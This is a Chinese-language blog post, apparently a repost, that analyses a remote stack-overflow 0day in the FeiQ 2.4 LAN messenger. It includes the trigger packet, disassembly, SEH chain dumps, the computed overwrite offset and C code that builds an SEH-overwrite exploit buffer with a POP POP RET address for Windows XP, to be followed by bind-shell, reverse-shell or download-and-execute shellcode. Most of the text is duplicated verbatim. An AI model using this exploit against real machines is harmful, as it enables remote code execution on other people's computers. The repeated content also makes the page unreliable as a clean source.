飛秋遠端可利用0day 的詳細分析和利用方法 飛秋漏洞
阿新 • • 發佈:2019-02-19
飛秋是個不錯的區域網通訊軟體,相信使用的使用者不少,最新版本應該是2.5。考慮到可能對很多使用者造成隱患,這邊就拿低一點的版本進行分析,為2.4版本。
其實artake已經說得很清楚了,很多大大可能不屑於這麼簡單的棧溢位,我這邊權且當做拋磚引玉吧,見笑了。
一、
根據artake 提供的POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
除錯定位到出現bug時的程式碼:
0049061C |. /EB 2E jmp short 0049064C
0049061E |> |81FB FF3F0000 cmp ebx, 3FFF
00490624 |. |B8 FF3F0000 mov eax, 3FFF
00490629 |. |7F 02 jg short 0049062D
0049062B |. |8BC3 mov eax, ebx
0049062D |> |8B7424 20 mov esi, dword ptr [esp+20]
00490631 |. |8BC8 mov ecx, eax
00490633 |. |8BD9 mov ebx, ecx
00490635 |. |C1E9 02 shr ecx, 2
00490638 |. |F3:A5 rep movs dword ptr es:[edi], dword p>; //在拷貝時溢位出錯
0049063A |. |8BCB mov ecx, ebx
0049063C |. |8B5C24 2C mov ebx, dword ptr [esp+2C]
00490640 |. |83E1 03 and ecx, 3
00490643 |. |40 inc eax
在執行到00490638時,暫存器狀態如下:
EAX FFFFFFFF
ECX 3FFFFFFF
EDX 00000000
EBX FFFFFFFF
ESP 0011B450
EBP 001235C8 ASCII "admin"
ESI 0011F525
EDI 00123670
EIP 00490638 飛秋FeiQ.00490638
可知從ESI地址拷貝3FFFFFFF byte資料到[00123670],拷貝時資料從低位往高位增長,即堆疊往下增長,堆疊棧底資訊如下:
0012FFEC 00000000
0012FFF0 00000000
0012FFF4 00000000
0012FFF8 00552DC7 飛秋FeiQ.<ModuleEntryPoint>
0012FFFC 00000000
00123670 + 3FFFFFFF>0012FFFC ,明顯溢位。
二、
溢位時,觸發SEH,此時再觀察堆疊中的SEH,檢視SEH鏈:
SEH 鏈用於 主執行緒
地址 SE處理程式
0011F498 飛秋FeiQ.00589B89
0012D5F4 飛秋FeiQ.00593AA7
0012D678 飛秋FeiQ.00595644
0012D728 USER32.77D4048F
0012D788 USER32.77D4048F
0012D80C 飛秋FeiQ.005955B4
0012FF08 飛秋FeiQ.00586673
0012FFB0 飛秋FeiQ.00555990
0012FFE0 kernel32.7C839AD8
堆疊值>123670(拷貝的第一個EDI地址)的第一個SEH鏈為0012D5F4,進去看具體堆疊:
0012D5F0 0050F55F 返回到 飛秋FeiQ.0050F55F 來自 飛秋FeiQ.00550870
0012D5F4 0012D678 指向下一個 SEH 記錄的指標
0012D5F8 00593AA7 SE處理程式
0012D5FC FFFFFFFF
初步構思淹沒SEH指標和處理程式,從而能執行到自己的shellcode,構思結果如下:
0012D5F4 06EB06EB 指向下一個 SEH 記錄的指標,這裡更改為相當於jmp +4,跳到0012D5FC執行shellcode
0012D5F8 7FFA1571 SE處理程式,這個地址是經典的POP,POP,RET地址,XP SP1,SP2,SP3應該是通用
0012D5FC 0089E8FC 這裡為shellcode開始地址
0012D600 89600000
0012D604 64D231E5
0012D608 8B30528B
0012D60C 528B0C52
三、
初步分析後,考慮如何實現以上淹沒過程,首先需計算偏移,使其能正確淹沒SEH地址。在這個例子中,計算偏移的方法比較簡單,可直接利用artake提供的POC程式定位:
當資料剛好淹沒到0012D5F8時,此時ESI資料位:1294A9,而資料開始地址為1277BB,則1294A9 - 1277BB = 1CEE。
也就是說資料偏移0X1CEE處即應為資料06EB06EB(jmp +4)。
在artake大大的程式碼下,簡略更改如下:
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
char befor_shellcode[] ="\xeb\x06\xeb\x06\x71\x15\xfa\x7f"; //8 byte
int i=0;
int senddata1length = strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode) + 0x1cee,shellcode);
上面的shellcode就不列出來了,是繫結埠或反彈埠或下載執行,仁者見仁,智者見智吧,如果shellcode裡面有byte為0x00,那麼可用encode方式或直接用for迴圈拷貝到sendbuf即可。
執行效果如下:
其實artake已經說得很清楚了,很多大大可能不屑於這麼簡單的棧溢位,我這邊權且當做拋磚引玉吧,見笑了。
一、
根據artake 提供的POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
除錯定位到出現bug時的程式碼:
0049061C |. /EB 2E jmp short 0049064C
0049061E |> |81FB FF3F0000 cmp ebx, 3FFF
00490624 |. |B8 FF3F0000 mov eax, 3FFF
00490629 |. |7F 02 jg short 0049062D
0049062B |. |8BC3 mov eax, ebx
0049062D |> |8B7424 20 mov esi, dword ptr [esp+20]
00490631 |. |8BC8 mov ecx, eax
00490633 |. |8BD9 mov ebx, ecx
00490635 |. |C1E9 02 shr ecx, 2
00490638 |. |F3:A5 rep movs dword ptr es:[edi], dword p>; //在拷貝時溢位出錯
0049063A |. |8BCB mov ecx, ebx
0049063C |. |8B5C24 2C mov ebx, dword ptr [esp+2C]
00490640 |. |83E1 03 and ecx, 3
00490643 |. |40 inc eax
在執行到00490638時,暫存器狀態如下:
EAX FFFFFFFF
ECX 3FFFFFFF
EDX 00000000
EBX FFFFFFFF
ESP 0011B450
EBP 001235C8 ASCII "admin"
ESI 0011F525
EDI 00123670
EIP 00490638 飛秋FeiQ.00490638
可知從ESI地址拷貝3FFFFFFF byte資料到[00123670],拷貝時資料從低位往高位增長,即堆疊往下增長,堆疊棧底資訊如下:
0012FFEC 00000000
0012FFF0 00000000
0012FFF4 00000000
0012FFF8 00552DC7 飛秋FeiQ.<ModuleEntryPoint>
0012FFFC 00000000
00123670 + 3FFFFFFF>0012FFFC ,明顯溢位。
二、
溢位時,觸發SEH,此時再觀察堆疊中的SEH,檢視SEH鏈:
SEH 鏈用於 主執行緒
地址 SE處理程式
0011F498 飛秋FeiQ.00589B89
0012D5F4 飛秋FeiQ.00593AA7
0012D678 飛秋FeiQ.00595644
0012D728 USER32.77D4048F
0012D788 USER32.77D4048F
0012D80C 飛秋FeiQ.005955B4
0012FF08 飛秋FeiQ.00586673
0012FFB0 飛秋FeiQ.00555990
0012FFE0 kernel32.7C839AD8
堆疊值>123670(拷貝的第一個EDI地址)的第一個SEH鏈為0012D5F4,進去看具體堆疊:
0012D5F0 0050F55F 返回到 飛秋FeiQ.0050F55F 來自 飛秋FeiQ.00550870
0012D5F4 0012D678 指向下一個 SEH 記錄的指標
0012D5F8 00593AA7 SE處理程式
0012D5FC FFFFFFFF
初步構思淹沒SEH指標和處理程式,從而能執行到自己的shellcode,構思結果如下:
0012D5F4 06EB06EB 指向下一個 SEH 記錄的指標,這裡更改為相當於jmp +4,跳到0012D5FC執行shellcode
0012D5F8 7FFA1571 SE處理程式,這個地址是經典的POP,POP,RET地址,XP SP1,SP2,SP3應該是通用
0012D5FC 0089E8FC 這裡為shellcode開始地址
0012D600 89600000
0012D604 64D231E5
0012D608 8B30528B
0012D60C 528B0C52
三、
初步分析後,考慮如何實現以上淹沒過程,首先需計算偏移,使其能正確淹沒SEH地址。在這個例子中,計算偏移的方法比較簡單,可直接利用artake提供的POC程式定位:
當資料剛好淹沒到0012D5F8時,此時ESI資料位:1294A9,而資料開始地址為1277BB,則1294A9 - 1277BB = 1CEE。
也就是說資料偏移0X1CEE處即應為資料06EB06EB(jmp +4)。
在artake大大的程式碼下,簡略更改如下:
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
char befor_shellcode[] ="\xeb\x06\xeb\x06\x71\x15\xfa\x7f"; //8 byte
int i=0;
int senddata1length = strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode) + 0x1cee,shellcode);
上面的shellcode就不列出來了,是繫結埠或反彈埠或下載執行,仁者見仁,智者見智吧,如果shellcode裡面有byte為0x00,那麼可用encode方式或直接用for迴圈拷貝到sendbuf即可。
執行效果如下: